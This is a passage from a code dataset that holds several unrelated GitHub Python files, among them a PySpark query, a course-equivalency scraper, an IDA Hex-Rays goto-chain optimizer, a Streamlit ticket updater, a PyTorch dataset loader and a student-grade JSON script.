revengeExpLog.objects.create(owner=self, type=exp_type)\n log.save()\n\n def __str__(self):\n return self.username\n","repo_name":"avara1986/RevengeBook","sub_path":"revengeusers/models.py","file_name":"models.py","file_ext":"py","file_size_in_byte":7596,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"2"} +{"seq_id":"25788538108","text":"from pyspark.context import SparkContext\r\nfrom pyspark.sql.session import SparkSession\r\nsc = SparkContext('local')\r\nspark = SparkSession(sc)\r\n\r\nflight = spark\\\r\n .read\\\r\n .option(\"inferSchema\",\"true\")\\\r\n .option(\"header\",\"true\")\\\r\n .csv(\"data/flight-data/csv/2015-summary.csv\")\r\n\r\nflight.take(3)\r\nflight.sort(\"count\").explain()","repo_name":"ferrumcapital/SparkCourse","sub_path":"SparkSQL/sql2.py","file_name":"sql2.py","file_ext":"py","file_size_in_byte":339,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"2"} +{"seq_id":"18875049898","text":"# The seed/tip url is declared as a constant.\nSEED = 'http://info.sjsu.edu/web-dbgen/artic/all-course-to-course.html'\n\nimport urllib.request\nimport bs4\nimport re\n\n\ndef get_links(top_url):\n \"\"\"\n\n To generate absolute links from base url\n :param top_url: The info.html web page that will be parsed\n :return: Return a list of links found on the info.html web page\n \"\"\"\n # absolute_links = []\n # Extract list of relevant (absolute) links referenced in top_url\n try:\n with urllib.request.urlopen(top_url) as url_file:\n bytes = url_file.read()\n except urllib.error.URLError as url_err:\n print(f'Error opening url: {top_url}\\n{url_err}')\n else:\n soup = bs4.BeautifulSoup(bytes, \"html.parser\")\n tables = soup.find_all('table')\n table = tables[2]\n absolute_links = [\n urllib.parse.urljoin(top_url, anchor.get('href', None))\n for anchor in table('a')]\n return absolute_links\n\n\ndef extract_info(url, course_regex):\n \"\"\"\n\n To extract college and course information from url based on course regex\n :param url: URL is being used to extract information\n :param course_regex: Regular expression to handle similar variations of\n course name\n :return: The extracted information from the webpage\n \"\"\"\n # Return college and equivalent course found in the given url if any\n\n class_list = []\n for link in get_links(SEED):\n try:\n with urllib.request.urlopen(link) as url_file:\n bytes = url_file.read()\n except urllib.error.URLError as url_err:\n print(f'Error opening url: {url}\\n{url_err}')\n else:\n soup = bs4.BeautifulSoup(bytes, \"html.parser\")\n table = soup.find_all('table')\n table = table[2]\n for each in table('tr'):\n var_string = str(each)\n if var_string.__contains__('\"top\"'):\n var_string = var_string[17:-5]\n split_letters = list(course_regex)\n regex = (re.findall('\\s*0*'.join(split_letters),\n var_string\n , re.IGNORECASE | re.DOTALL))\n if regex:\n college_name = (soup('h3')[0].get_text()[31:])\n class_descrip = each('td')[2].get_text(separator=' ')\n format_descrip = ' '.join(class_descrip.split())\n if format_descrip != \"No Current Equivalent\":\n class_list.append(college_name + \": \" +\n format_descrip)\n else:\n pass\n return class_list\n\n\ndef harvest(all_links, course_regex):\n \"\"\"\n\n To generate on string that contains all equivalency info\n :param all_links: a list that contains all related url links\n :param course_regex: regular expression to handle similar variations of\n course name\n :return: a string that invoke all equivalency info\n \"\"\"\n # Invoke extract_info to get the equivalency info for each link in\n # all_links.\n # Join all the equivalency info into a single string (entries must\n # be separated by new line characters).\n\n new_str = '\\n'.join(extract_info(all_links, course_regex))\n return new_str\n\n\ndef report(info, course_name):\n \"\"\"\n\n To generate a text file which contains all equivalency info\n according to course name\n :param info: a string that invoke all equivalency info\n :param couse_name: a string that will be the file name\n \"\"\"\n # Write the info harvested to a text file with the name:\n # course_name.txt where course_name is the name as entered by user.\n copy_str = harvest(info, course_name)\n str_list = list(copy_str)\n filename = str(course_name) + '.txt'\n f = open(filename, 'w+')\n for each in str_list:\n f.write(each)\n\n\n\ndef main():\n # Get all the relevant links referenced from the seed (top_url)\n get_links(SEED)\n # Prompt the user for a course name\n class_name = (input(\"Please enter a course number: \"))\n\n extract_info(SEED, str(class_name))\n\n # Build a regex corresponding to the course name specified\n # Harvest information from all the links\n result = harvest(SEED, str(class_name))\n # Write the harvested information to the output file\n report(result, str(class_name))\n\n\nif __name__ == \"__main__\":\n main()\n","repo_name":"dev8125/Class-Equivalence-Generator","sub_path":"CEG.py","file_name":"CEG.py","file_ext":"py","file_size_in_byte":4485,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"2"} +{"seq_id":"37994135951","text":"import random, time, sys\r\n\r\ndef print_slow(str):\r\n for letter in str:\r\n sys.stdout.write(letter)\r\n sys.stdout.flush()\r\n time.sleep(0.075)\r\n\r\nwith open(\"quotes.txt\") as quotes:\r\n a = [line.rstrip() for line in quotes]\r\n quotes.close()\r\n\r\n# print(\"welcome! getting list...\")\r\n# print(len(a), \"items in list\")\r\n# time.sleep(3)\r\n\r\nwhile True:\r\n if len(a) > 0:\r\n quote = random.choice(a)\r\n # print(quote)\r\n # time.sleep(0.1)\r\n print_slow(quote)\r\n print()\r\n a.remove(quote)\r\n time.sleep(1)\r\n else:\r\n print(\"That's enough motivation for now.\")\r\n break\r\n","repo_name":"mahtDFR/motivational_quotes","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":645,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"2"} +{"seq_id":"17274117738","text":"try:\n from library.matrix import Matrix\n import library.matrix as m\n from library.linear_equations import Cholesky_Decomposition, forward_propagation, backward_propagation\nexcept ImportError:\n from matrix import Matrix\n import matrix as m\n from linear_equations import Cholesky_Decomposition, forward_propagation, backward_propagation\n\ndef linear_fit(xs, ys, sigma = None):\n if xs.shape != ys.shape:\n raise ValueError(\"x and y must be the same shape\")\n if sigma == None:\n sigma = m.ones(xs.shape, \"sigma\")\n elif sigma.shape != xs.shape:\n raise ValueError(\"sigma must be the same shape as x and y\")\n sigma2 = sigma**2\n S = (m.ones(sigma.shape)/sigma2).sum()\n Sxx = (xs.T()@(xs/sigma2)).mat[0][0]\n Syy = (ys.T()@(ys/sigma2)).mat[0][0]\n Sxy = (xs.T()@(ys/sigma2)).mat[0][0]\n Sx = (xs/sigma2).sum()\n Sy = (ys/sigma2).sum()\n Delta = S*Sxx - Sx**2\n \n a1 = (Sxx*Sy - Sx*Sxy)/Delta\n a2 = (S*Sxy - Sx*Sy)/Delta\n \n # calculating r and r**2\n r2 = Sxy**2/(Sxx*Syy)\n \n # calculating error in a1 and a2\n Delta_a1_sq = Sxx/Delta\n Delta_a2_sq = S/Delta\n \n return [a2, a1], [Delta_a2_sq**0.5, Delta_a1_sq**0.5], r2\n\ndef polynomial_fit(x, y, n):\n A = m.ones([n, n], \"A\", 3)\n nem = [[len(x)]+[(x**j).sum() for j in range(1, n)]]\n A[0] = nem\n for i in range(1, n):\n nem[0].pop(0)\n nem[0].append((x**(i+n-1)).sum())\n A[i] = nem\n # coefficient matrix done\n\t\n Y = [[sum([y.mat[k][0]*x.mat[k][0]**i for k in range(len(x))])]\n for i in range(n)]\n Y = Matrix(Y, \"Y\", 3)\n # intercept matrix done\n\t\n L = Cholesky_Decomposition(A)\n y1 = forward_propagation(L, Y)\n a = backward_propagation(L.T(), y1)\n\n return a\n","repo_name":"PeithonKing/comp_phys_P346","sub_path":"library/fitting.py","file_name":"fitting.py","file_ext":"py","file_size_in_byte":1755,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"2"} +{"seq_id":"6649085976","text":"from datetime import datetime\nimport json\nimport time\n\nfrom app import redis_store\nfrom app.images import ImagesStorage\nfrom app.user_info import UserInfo\n\n\ndef add_post(userid, text, image):\n image_key = None\n if image is not None:\n images_storage = ImagesStorage()\n image_key = images_storage.put_image(image)\n user_info_json = UserInfo.get_user_info(userid)\n user_info_json[\"posts\"].append({\"text\": text,\n \"timestamp\": time.time(),\n \"image_key\": image_key})\n user_info_str = json.dumps(user_info_json)\n redis_store.set(userid, user_info_str)\n\n\ndef delete_post(userid, timestamp):\n user_info_json = UserInfo.get_user_info(userid)\n to_delete_post_index = -1\n for i, post in enumerate(user_info_json[\"posts\"]):\n print(post[\"timestamp\"], timestamp)\n print(type(post[\"timestamp\"]), type(timestamp))\n if post[\"timestamp\"] == float(timestamp):\n to_delete_post_index = i\n break\n if to_delete_post_index == -1:\n raise ValueError(\"Delete post that is not posted.\")\n else:\n del user_info_json[\"posts\"][to_delete_post_index]\n user_info_str = json.dumps(user_info_json)\n redis_store.set(userid, user_info_str)\n\n\ndef get_posts(userid):\n user_info_json = UserInfo.get_user_info(userid)\n user_posts = user_info_json[\"posts\"]\n user_posts_with_emails = []\n for post in user_posts:\n post[\"email\"] = UserInfo.get_user_email(userid)\n user_posts_with_emails.append(post)\n return user_posts_with_emails[::-1]\n\n\ndef get_followings_posts(userids):\n pointers = [0 for _ in range(len(userids))]\n users_posts = []\n for userid in userids:\n users_posts.append(get_posts(userid))\n merged_posts = []\n while True:\n mmax = 0\n argmax = -1\n for i, user_posts in enumerate(users_posts):\n if pointers[i] < len(user_posts) and\\\n mmax < float(user_posts[pointers[i]][\"timestamp\"]):\n mmax = float(user_posts[pointers[i]][\"timestamp\"])\n argmax = i\n if argmax == -1:\n break\n merged_posts.append(users_posts[argmax][pointers[argmax]])\n pointers[argmax] += 1\n return to_posts_to_show(merged_posts)\n\n\ndef get_posts_to_show(userid):\n posts = get_posts(userid)\n return to_posts_to_show(posts)\n\n\ndef to_posts_to_show(posts):\n posts_to_show = []\n for post in posts:\n post[\"time\"] = datetime.fromtimestamp(post[\"timestamp\"])\\\n .strftime('%Y-%m-%d %H:%M:%S')\n if \"image_key\" in post and post[\"image_key\"] is not None:\n images_storage = ImagesStorage()\n image_link = images_storage.get_image(post[\"image_key\"])\n post[\"image_link\"] = image_link\n posts_to_show.append(post)\n return posts_to_show\n","repo_name":"okalitova/SimplyTweetCopy","sub_path":"app/posts.py","file_name":"posts.py","file_ext":"py","file_size_in_byte":2903,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"2"} +{"seq_id":"70987656366","text":"import torch\nimport torch.utils.data\nfrom PIL import Image\nimport pandas as pd\nimport numpy as np\nimport sys\nimport glob\n\nif sys.version_info[0] == 2:\n import xml.etree.cElementTree as ET\nelse:\n import xml.etree.ElementTree as ET\n\nfrom ModelCore.structures.bounding_box import BoxList\n\n\n\nclass tctDataset(torch.utils.data.Dataset):\n\n CLASSES = (\n \"__background__\",\n \"hsil\",\n \"lsil\"\n )\n TYPE_TO_NAME = {\n 255: \"hsil\",\n 65535: \"lsil\",\n 16711680: \"lsil\"\n }\n WIDTH, HEIGHT = 512, 512\n def __init__(self, csv_dir, split, transforms=None, use_neg_sample=False):\n cls = tctDataset.CLASSES\n self.class_to_ind = dict(zip(cls, range(len(cls))))\n self.categories = dict(zip(range(len(cls)), cls))\n self.df = pd.read_csv(csv_dir)\n self.ids = self.df.file_path.unique()\n self.transforms = transforms\n self.neg_sample_prob = -1.\n self.split = split\n self.neg_sample_ids = glob.glob('/home/../data/tct/DATA/negative_sample_patches/*.png')\n print(\"Current data split is {}\".format(self.split))\n\n def __getitem__(self, index):\n #print(\"{}/{}\".format(index, len(self.ids)))\n pick_neg_sample = (np.random.random() <= self.neg_sample_prob)\n if not pick_neg_sample or self.split != 'train':\n img_id = self.ids[index]\n img = Image.open(img_id).convert(\"RGB\")\n target = self.get_groundtruth(index)\n target = target.clip_to_image(remove_empty=True)\n if self.transforms is not None:\n img, target = self.transforms(img, target)\n else:\n ind = index % len(self.neg_sample_ids) #np.random.randint(0, len(self.neg_sample_ids), 1)[0]\n img_id = self.neg_sample_ids[ind]\n img = Image.open(img_id).convert(\"RGB\")\n target = torch.tensor([])\n if self.transforms is not None:\n img, _ = self.transforms(img, None)\n\n return img, target, img_id\n\n\n def __len__(self):\n return len(self.ids)\n\n def get_groundtruth(self, index):\n img_id = self.ids[index]\n\n anno = self._preprocess_annotation(index)\n\n height, width = anno[\"im_info\"]\n target = BoxList(anno[\"boxes\"], (width, height), mode=\"xyxy\")\n target.add_field(\"labels\", anno[\"labels\"])\n return target\n\n\n def _preprocess_annotation(self, index):\n boxes = []\n gt_classes = []\n\n TO_REMOVE = 1\n\n img_id = self.ids[index]\n anno_df = self.df.loc[self.df.file_path==img_id]\n for ind, row in anno_df.iterrows():\n x1, y1 = int(row.bbox_x), int(row.bbox_y)\n x2, y2 = int(x1 + row.bbox_w), int(y1 + row.bbox_h)\n box = [x1, y1, x2, y2]\n bnbox = tuple(map(lambda x: x - TO_REMOVE, box))\n boxes.append(bnbox)\n\n cell_type = int(row.type)\n gt_classes.append(self.class_to_ind[self.TYPE_TO_NAME[cell_type]])\n\n im_info = (self.WIDTH, self.HEIGHT)\n\n res = {\n \"boxes\": torch.tensor(boxes, dtype=torch.float32),\n \"labels\": torch.tensor(gt_classes),\n \"im_info\": im_info\n }\n return res\n\n\n\n def get_img_info(self, index):\n return {\"height\":512, \"width\":512}\n\n def map_class_id_to_class_name(self, class_id):\n return tctDataset.CLASSES[class_id]\n\n","repo_name":"artificertxj1/some-extensions-on-maskrcnn-benchmark","sub_path":"data/datasets/TCTData.py","file_name":"TCTData.py","file_ext":"py","file_size_in_byte":3432,"program_lang":"python","lang":"en","doc_type":"code","stars":7,"dataset":"github-code","pt":"2"} +{"seq_id":"17224586948","text":"# Prompt user for the value of n\nn = int(input(\"Enter the value of n (an odd integer): \"))\n\n# Create an n x n matrix filled with zeros\nmagic_square = [[0 for i in range(n)] for j in range(n)]\n\n# Set the starting position of the number 1\nrow = n // 2\ncol = n - 1\n\n# Define a function to determine the next position in the magic square\ndef next_position(row, col, n):\n row = (row - 1) % n\n col = (col + 1) % n\n return row, col\n\n# Iterate through the numbers 1 to n^2 and place them in the magic square\nfor num in range(1, n**2 + 1):\n # Place the current number in the current position\n magic_square[row][col] = num\n \n # Determine the next position in the magic square\n next_row, next_col = next_position(row, col, n)\n \n # If the next position is already filled, move down one row instead\n if magic_square[next_row][next_col]:\n row = (row + 1) % n\n else:\n row, col = next_row, next_col\n\n# Print the completed magic square\nprint(\"Magic Square of size\", n)\nfor i in range(n):\n for j in range(n):\n print(magic_square[i][j], end='\\t')\n print()\n","repo_name":"shadowfaxthewhitehorse/magicsquare_nofrontend","sub_path":"app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":1100,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"2"} +{"seq_id":"41008818949","text":"# ---------------------------------------------------------------------------------------------\n# Description: Capture two different lists of names separated by commas and\n# create a final list with these, in alphabetical order, with no repeated items.\n# Author: Made with ❤️ in Python 3 by Alvison Hunter - June 14th, 2021\n# JavaScript, Python and Web Development tips at: https://bit.ly/3p9hpqj\n# Website: https://alvisonhunter.com/\n# ---------------------------------------------------------------------------------------------\n# Get list of names, split them and assign them in list variables\nlst1 = input(\"Please Enter First List of Names:\").split(\",\")\nlst2 = input(\"Please Enter Second List of Names:\").split(\",\")\n\n# Extend lst1 by adding all the content of lst2 on it using extend(\nlst1.extend(lst2)\n\n# Create a set object, to store a list of non repeated elements\nthis_set = set()\n\n# Let's iterate on lst1 to add all of its element to this_set set.\n# Clearing any extra spaces, and convert these elements to title() case.\nfor elem in lst1:\n this_set.add(elem.strip().title())\n\n# Print the results in a string, shall we?\nprint(' | '.join(sorted(list(this_set))))\n\n\n\n\n\n\n\n\n","repo_name":"AlvisonHunterArnuero/EinstiegPythonProgrammierung-","sub_path":"list_basic_interactions.py","file_name":"list_basic_interactions.py","file_ext":"py","file_size_in_byte":1185,"program_lang":"python","lang":"en","doc_type":"code","stars":6,"dataset":"github-code","pt":"2"} +{"seq_id":"5608844057","text":"import ida_bytes\nimport ida_range\nimport ida_kernwin\nimport ida_hexrays\nimport ida_typeinf\n\nclass goto_optimizer_t(ida_hexrays.optblock_t):\n def func(self, blk):\n if self.handle_goto_chain(blk):\n return 1\n return 0\n\n def handle_goto_chain(self, blk):\n mgoto = blk.tail\n if not mgoto or mgoto.opcode != ida_hexrays.m_goto:\n return False\n\n visited = []\n t0 = mgoto.l.b\n i = t0\n mba = blk.mba\n\n # follow the goto chain\n while True:\n if i in visited:\n return False\n visited.append(i)\n b = mba.get_mblock(i)\n m2 = ida_hexrays.getf_reginsn(b.head)\n if not m2 or m2.opcode != ida_hexrays.m_goto:\n break\n i = m2.l.b\n\n if i == t0:\n return False # not a chain\n\n # all ok, found a goto chain\n mgoto.l.b = i # jump directly to the end of the chain\n\n # fix the successor/predecessor lists\n blk.succset[0] = i\n mba.get_mblock(i).predset.add(blk.serial)\n mba.get_mblock(t0).predset._del(blk.serial)\n\n # since we changed the control flow graph, invalidate the use/def chains.\n # stricly speaking it is not really necessary in our plugin because\n # we did not move around any microcode operands.\n mba.mark_chains_dirty()\n\n # it is a good idea to verify microcode after each change\n # however, it may be time consuming, so comment it out eventually\n mba.verify(True);\n return True\n\n\nif ida_hexrays.init_hexrays_plugin():\n optimizer = goto_optimizer_t()\n optimizer.install()\nelse:\n print('vds11: Hex-rays is not available.')\n","repo_name":"0xjacklove/XMicro","sub_path":"python/examples/hexrays/vds11.py","file_name":"vds11.py","file_ext":"py","file_size_in_byte":1725,"program_lang":"python","lang":"en","doc_type":"code","stars":6,"dataset":"github-code","pt":"2"} +{"seq_id":"11820175019","text":"from clh import *\n\nif __name__ == '__main__':\n canvas = tikz.Canvas()\n\n mtx, default_atomics = draw_thread(canvas, 0, 'mtx', 'false', colors.GREEN)\n canvas.new_arrow(\n src = mtx,\n dst = default_atomics,\n pen_color = colors.GREEN,\n )\n\n print(canvas.draw())\n","repo_name":"TimeExceed/cpp_lessons","sub_path":"src/pics/clh_0.py","file_name":"clh_0.py","file_ext":"py","file_size_in_byte":292,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"2"} +{"seq_id":"5830943904","text":"# code for updating a ticket\nimport pandas as pd\nimport streamlit as st\nfrom database import view_all_tickets, db_get_ticket, db_update_ticket\n\n\ndef update_ticket():\n result = view_all_tickets()\n unresolved_tickets = []\n for i in range(len(result)):\n if not result[i][4]:\n unresolved_tickets.append(result[i])\n\n st.write(\"\"\"\n Tickets once resolved, cannot be updated.\n Note that this functionality is for tickets that are unresolved.\n \"\"\")\n df = pd.DataFrame(unresolved_tickets, columns=[\n 'TID', 'RID', 'Flat', 'Block', 'Is Resolved', 'Complaint', 'Response', 'Date generated'])\n with st.expander(\"Unresolved Tickets\"):\n st.dataframe(df)\n\n list_of_tickets = [unresolved_tickets[i][0]\n for i in range(len(unresolved_tickets))]\n\n selected_ticket = st.selectbox(\"List of tickets\", list_of_tickets)\n selected_result = db_get_ticket(selected_ticket)\n\n if selected_result:\n\n # Layout of Update\n col1, col2 = st.columns(2)\n with col1:\n new_ticket_status = st.number_input(\n \"Status\", selected_result[0][4], max_value=1)\n with col2:\n pass\n new_ticket_response = st.text_input(\n \"Log a response\", selected_result[0][6])\n if st.button(\"Update\"):\n if db_update_ticket(selected_result[0][0], new_ticket_status, new_ticket_response):\n st.success(\"Update Succesful!\")\n else:\n st.error('Update Unsuccessful.', icon=\"🚨\")\n","repo_name":"hita03/Community-Living-DBMS","sub_path":"streamlit-and-mysql-ui/crud/update.py","file_name":"update.py","file_ext":"py","file_size_in_byte":1566,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"2"} +{"seq_id":"34501117153","text":"import serial\r\nimport time\r\nimport csv\r\n\r\n\r\ndef save(file_name, head, data):\r\n # normal save\r\n f = open(file_name,'w')\r\n csvWriter = csv.writer(f, lineterminator='\\n')\r\n csvWriter.writerows(head)\r\n csvWriter.writerows(data)\r\n f.close()\r\n print(\"--- Saved ---\")\r\n\r\n\r\nser =serial.Serial(\"COM9\", 115200)\r\ntime.sleep(2)\r\n\r\norg_data = []\r\nsave_data = []\r\ntimer = [0, 0, 0]\r\n\r\ntry:\r\n timer[0] = time.time()\r\n\r\n while True:\r\n timer[1] = time.time()\r\n c = ser.readline()\r\n c = c.strip().decode('utf-8')\r\n org_data.append(c.split(\",\"))\r\n if len(org_data[-1]) == 6:\r\n val1, val2, val3, val4, val5, val6 = [int(s) for s in org_data[-1]]\r\n else :\r\n val1, val2, val3, val4, val5, val6 = [0, 0, 0, 0, 0, 0]\r\n\r\n save_data.append([\r\n timer[1]-timer[0],\r\n val1, \r\n val2, \r\n val3, \r\n val4, \r\n val5, \r\n val6\r\n ])\r\n\r\n print(save_data[-1])\r\n\r\nexcept KeyboardInterrupt:\r\n ser.close()\r\n \r\n header = [[\r\n \"TIME\",\r\n \"VAL1\",\r\n \"VAL2\",\r\n \"VAl3\",\r\n \"VAl4\",\r\n \"VAl5\",\r\n \"VAl6\",\r\n ]]\r\n\r\n save(\"output.csv\", header, save_data)\r\n print(\"--- Fin ---\")","repo_name":"bump5236/BodyVerticalControl","sub_path":"Sample/py2arduino_Repeat/serial2csv.py","file_name":"serial2csv.py","file_ext":"py","file_size_in_byte":1274,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"2"} +{"seq_id":"14257828985","text":"\"\"\"\r\n================================\r\nRecognizing hand-written digits\r\n================================\r\nThis example shows how scikit-learn can be used to recognize images of\r\nhand-written digits, from 0-9.\r\n\"\"\"\r\n\r\nfrom sklearn import datasets, metrics, svm\r\nfrom utils import preprocess_data, split_train_dev_test, train_model, read_digits, predict_and_eval, get_hyperparameter_combinations, tune_hparams\r\nfrom itertools import product\r\nfrom joblib import dump, load\r\nimport pandas as pd\r\n\r\nX, y = read_digits()\r\n\r\nclassifier_param_dict = {}\r\n\r\n#SVM\r\ngamma = [0.001, 0.01, 0.1, 1, 10, 100]\r\nC_range = [0.1, 1, 2, 5, 10]\r\nh_params={}\r\nh_params['gamma'] = gamma\r\nh_params['C'] = C_range\r\nh_parameters = get_hyperparameter_combinations(h_params)\r\nclassifier_param_dict['svm'] = h_parameters\r\n\r\n#decision tree\r\nmax_depth_list = [5, 10, 15, 20, 50, 100]\r\nh_params_tree = {}\r\nh_params_tree['max_depth'] = max_depth_list\r\nh_parameters = get_hyperparameter_combinations(h_params_tree)\r\nclassifier_param_dict['tree'] = h_parameters\r\n\r\n#hyper parameter tuning\r\n#h_parameters = dict(product(gamma, C_range,repeat=1))\r\n# h_parameters=list(product(gamma, C_range))\r\n\r\n# dataset_combination = list(product(test_range, dev_range))\r\n\r\nt_sizes = [0.2]\r\nd_sizes = [0.2]\r\n\r\nfor test_size in t_sizes:\r\n for dev_size in d_sizes:\r\n train_size = 1 - test_size - dev_size\r\n\r\n X_train, X_dev, X_test, y_train, y_dev, y_test = split_train_dev_test(X, y, test_size=test_size, dev_size=dev_size)\r\n \r\n X_train = preprocess_data(X_train)\r\n X_test = preprocess_data(X_test)\r\n X_dev = preprocess_data(X_dev)\r\n\r\n binary_prediction = {}\r\n model_preds = {}\r\n for model_type in classifier_param_dict:\r\n current_hparams = classifier_param_dict[model_type]\r\n best_hparams, best_model_path, best_accuracy = tune_hparams(X_train, y_train, X_dev, \r\n y_dev, current_hparams, model_type) \r\n\r\n best_model = load(best_model_path) \r\n\r\n test_acc, test_f1, predicted_y = predict_and_eval(best_model, X_test, y_test)\r\n train_acc, train_f1, _ = predict_and_eval(best_model, X_train, y_train)\r\n dev_acc = best_accuracy\r\n\r\n print(\"{}\\ttest_size={:.2f} dev_size={:.2f} train_size={:.2f} train_acc={:.2f} dev_acc={:.2f} test_acc={:.2f}, test_f1={:.2f}\".format(model_type, test_size, dev_size, train_size, train_acc, dev_acc, test_acc, test_f1))\r\n\r\n binary_prediction[model_type] = y_test == predicted_y\r\n model_preds[model_type] = predicted_y\r\n \r\n print(\"{}-Ground Truth Confusion metrics\".format(model_type))\r\n print(metrics.confusion_matrix(y_test, predicted_y))\r\n\r\n\r\nprint(\"Confusion metric\".format())\r\nprint(metrics.confusion_matrix(model_preds['svm'], model_preds['tree']))\r\n\r\nprint(\"binary predictions\")\r\nprint(metrics.confusion_matrix(binary_prediction['svm'], binary_prediction['tree'], labels=[True, False]))\r\nprint(\"binary predictions -- normalized over true labels\")\r\nprint(metrics.confusion_matrix(binary_prediction['svm'], binary_prediction['tree'], labels=[True, False] , normalize='true'))\r\nprint(\"binary predictions -- normalized over pred labels\")\r\nprint(metrics.confusion_matrix(binary_prediction['svm'], binary_prediction['tree'], labels=[True, False] , normalize='pred'))","repo_name":"amitpanwarIndia/mlops","sub_path":"ex.py","file_name":"ex.py","file_ext":"py","file_size_in_byte":3361,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"2"} +{"seq_id":"20935581777","text":"import torch\nimport numpy as np\n\nfrom models import FCN_MT\nfrom utils import ConfusionMatrix, DepthError, DenseCityscapesDataset, Dense\nimport dense_transforms as dt\nfrom torch.utils.data import DataLoader \nimport torch.utils.tensorboard as tb\n\n\ndef test(args):\n from os import path\n \"\"\"\n Your code here\n Hint: load the saved checkpoint of your model, and perform evaluation for both segmentation and depth estimation tasks\n Hint: use the ConfusionMatrix for you to calculate accuracy, mIoU for the segmentation task\n Hint: use DepthError for you to calculate rel, a1, a2, and a3 for the depth estimation task. \n \"\"\"\n\n model = FCN_MT(n_seg=19)\n path = 'pretrained/fcn_mt.th'\n model.load_state_dict(torch.load(path))\n model.cuda()\n\n\n print(model)\n data_path = 'datasets/cityscapes/test/'\n\n transform = dt.Compose([\n dt.ToTensor(),\n ])\n\n test = DenseCityscapesDataset(data_path, transform)\n test_loader = DataLoader(test)\n\n confusion = ConfusionMatrix(size=19)\n accuracy = 0.0\n mIoU = 0.0\n rel_sum, a1_sum, a2_sum, a3_sum = 0.0, 0.0, 0.0, 0.0\n print(f\"Test on {test.__len__()} samples\")\n \n model.train(False)\n model.eval()\n\n n_vis = 6\n random_indices = torch.randperm(test.__len__())[:n_vis]\n with torch.no_grad():\n for i, data in enumerate(test_loader):\n X, label, depth = data\n X, label, depth = X.cuda(), label.cuda(), depth.cuda()\n\n pred1, pred2 = model(X)\n pred_max = pred1.argmax(1)\n confusion.add(pred_max, label)\n accuracy += confusion.global_accuracy\n mIoU += confusion.iou\n\n rel, a1, a2, a3 = DepthError(depth, pred2).compute_errors\n rel_sum += rel\n a1_sum += a1\n a2_sum += a2\n a3_sum += a3\n\n if i in random_indices:\n vis_gt = Dense(img=X, depth=[depth, pred2], segmentation=[label, pred1])\n vis_gt.__visualizeitem__(idx=i+1)\n\n\n accuracy = accuracy/(i+1)\n mIoU = mIoU/(i+1)\n rel = rel_sum/(i+1)\n a1 = a1_sum/(i+1)\n a2 = a2_sum/(i+1)\n a3 = a3_sum/(i+1)\n\n print(f\"****Segmentation : Accuracy : {(accuracy*100):.2f}%, iou : {mIoU:.4f}****\")\n print(f\"****Depth : rel : {rel:.4f}%, a1 : {a1:.4f}, a2 : {a2:.4f}, , a3 : {a3:.4f}****\")\n \n return accuracy, mIoU, rel, a1, a2, a3\n\n\nif __name__ == '__main__':\n import argparse\n\n parser = argparse.ArgumentParser()\n\n parser.add_argument('--log_dir')\n # Put custom arguments here\n args = parser.parse_args()\n test(args)\n","repo_name":"dooeverything/COMP4901V","sub_path":"hw1/src/test_fcn_mt.py","file_name":"test_fcn_mt.py","file_ext":"py","file_size_in_byte":2585,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"23"} +{"seq_id":"17940767203","text":"# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Mon Feb 17 23:26:17 2020\n\nA simple python file that uses json to read and write from a file that stores student grade results.\n\n@author: samya\n\"\"\"\n\nimport json\n\ndef first_time_run():\n \n #First time run as to setup the basic version of the list. This creates a dictionary that contains all elements of the given lists,\n #and saves it to a json file.\n json_data = { 'names' : ['Nils', 'Mark', 'Marilyn', 'Mariam', 'Albert'],\n\n 'homework' : [2, 10, 4, 6, 7],\n\n 'exam' : [20, 55, 33, 60, 45],\n\n 'project' : [12, 30, 21, 24, 22] \n }\n\n with open(\"student_results.json\",\"w\") as f:\n json.dump(json_data,f)\n\n return (\"done\")\n \ndef read_file():\n \n \n #This is the funciton for reading the data file. It opens the created file with Json and then reads out the values individually.\n \n #Counter for making sure all corresponding scores are being shown together\n counter = 0\n \n #This opens the student_results json file and assigns local variables\n with open(\"student_results.json\", \"r\") as f:\n results = json.load(f)\n names = results[\"names\"]\n homework = results[\"homework\"]\n exam = results[\"exam\"]\n project = results[\"project\"]\n \n #This part goes through each value in names once and prints the coressponding scores and totals. \n for i in names:\n final_grade = homework[counter] + exam[counter] + project[counter]\n \n #Conditional variable to check if passed or not\n if final_grade >= 50:\n student_result = \"Pass\"\n else:\n student_result = \"Fail\"\n \n print (i , homework[counter] , exam[counter] , project[counter], final_grade, student_result)\n counter += 1\n \n \n return(\"done\")\n\ndef write_file():\n \n #This function allows the user to edit the list and append new results\n \n #same as above, open the json and assign local variables\n with open(\"student_results.json\", \"r\") as f:\n results = json.load(f)\n names = results[\"names\"]\n homework = results[\"homework\"]\n exam = results[\"exam\"]\n project = results[\"project\"]\n\n #Here the User is asked to append to the lists\n names.append(input (\"Enter Name: \"))\n homework.append(int(input (\"Enter Homework Grade: \")))\n exam.append(int(input (\"Enter Exam Grade: \")))\n project.append(int(input (\"Enter Project Grade: \")))\n \n #Assignment of the lists to one dictionary for graceful storing\n \n json_data = {\n \n 'names' : names,\n\n 'homework' : homework,\n\n 'exam' : exam,\n\n 'project' : project \n \n }\n\n #writes the new data to the file\n with open(\"student_results.json\",\"w\") as f:\n json.dump(json_data,f)\n \n return (\"done\")\n\n\nif __name__ == \"__main__\":\n \n #Main loop. Some conditiions for text entry commands and a break command.\n while True:\n user_input = input (\"first time, read or write? (exit to break)\").lower()\n\n if user_input == \"first time\":\n print (first_time_run())\n elif user_input == \"read\":\n print (read_file())\n elif user_input == \"write\":\n print (write_file())\n elif user_input == 